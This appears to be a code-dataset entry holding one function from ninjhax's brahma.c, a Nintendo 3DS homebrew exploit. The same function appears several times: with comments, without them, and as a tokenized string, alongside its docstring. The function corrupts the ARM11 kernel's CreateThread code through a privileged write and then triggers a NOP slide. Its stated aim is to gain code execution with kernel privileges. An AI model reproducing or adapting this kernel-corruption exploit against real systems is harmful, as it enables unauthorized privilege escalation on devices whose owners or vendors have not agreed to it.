ninjhax/source/brahma.c
int corrupt_arm11_kernel_code(void) {
	int i;
	int (*nop_func)(void);
	int *ipc_buf;
	
	// get system dependent data required for the exploit		
	if (!get_exploit_data(&ed)) {
		return 0;		
	}

	// copy system dependent data required by the exploit's ARM11 kernel code
	arm11shared.va_hook1_ret = ed.va_hook1_ret;
	arm11shared.va_pdn_regs = ed.va_pdn_regs;
	arm11shared.va_pxi_regs = ed.va_pxi_regs;

	// corrupt certain part of the svcCreateThread() kernel code
	priv_write_four(ed.va_patch_createthread);

	// trick to clear icache
	for (i = 0; i < sizeof(nop_slide) / sizeof(nop_slide[0]); i++) {
		arm11_buffer[i] = ARM_NOP;
	}
	arm11_buffer[i-1] = ARM_RET;
	nop_func = nop_slide;

	do_gshax_copy(nop_slide, arm11_buffer, sizeof(nop_slide));
	nop_func();

	return 1;
}
/* Corrupts ARM11 kernel code (CreateThread()) in order to
   open a door for ARM11 code execution with kernel privileges.
*/
Corrupts ARM11 kernel code (CreateThread()) in order to
open a door for ARM11 code execution with kernel privileges.
Corrupts ARM11 kernel code ( CreateThread () ) in order to open a door for ARM11 code execution with kernel privileges .
int corrupt_arm11_kernel_code(void) {
	int i;
	int (*nop_func)(void);
	int *ipc_buf;
	if (!get_exploit_data(&ed)) {
		return 0;		
	}
	arm11shared.va_hook1_ret = ed.va_hook1_ret;
	arm11shared.va_pdn_regs = ed.va_pdn_regs;
	arm11shared.va_pxi_regs = ed.va_pxi_regs;
	priv_write_four(ed.va_patch_createthread);
	for (i = 0; i < sizeof(nop_slide) / sizeof(nop_slide[0]); i++) {
		arm11_buffer[i] = ARM_NOP;
	}
	arm11_buffer[i-1] = ARM_RET;
	nop_func = nop_slide;
	do_gshax_copy(nop_slide, arm11_buffer, sizeof(nop_slide));
	nop_func();
	return 1;
}
int corrupt_arm11_kernel_code ( void ) { int i ; int ( * nop_func ) ( void ) ; int * ipc_buf ; if ( ! get_exploit_data ( & ed ) ) { return 0 ; } arm11shared . va_hook1_ret = ed . va_hook1_ret ; arm11shared . va_pdn_regs = ed . va_pdn_regs ; arm11shared . va_pxi_regs = ed . va_pxi_regs ; priv_write_four ( ed . va_patch_createthread ) ; for ( i = 0 ; i < sizeof ( nop_slide ) / sizeof ( nop_slide [ 0 ] ) ; i ++ ) { arm11_buffer [ i ] = ARM_NOP ; } arm11_buffer [ i - 1 ] = ARM_RET ; nop_func = nop_slide ; do_gshax_copy ( nop_slide , arm11_buffer , sizeof ( nop_slide ) ) ; nop_func ( ) ; return 1 ; }
Corrupts ARM11 kernel code (CreateThread()) in order to
open a door for ARM11 code execution with kernel privileges.
Corrupts ARM11 kernel code ( CreateThread () ) in order to open a door for ARM11 code execution with kernel privileges .
// get system dependent data required for the exploit		 // copy system dependent data required by the exploit's ARM11 kernel code // corrupt certain part of the svcCreateThread() kernel code // trick to clear icache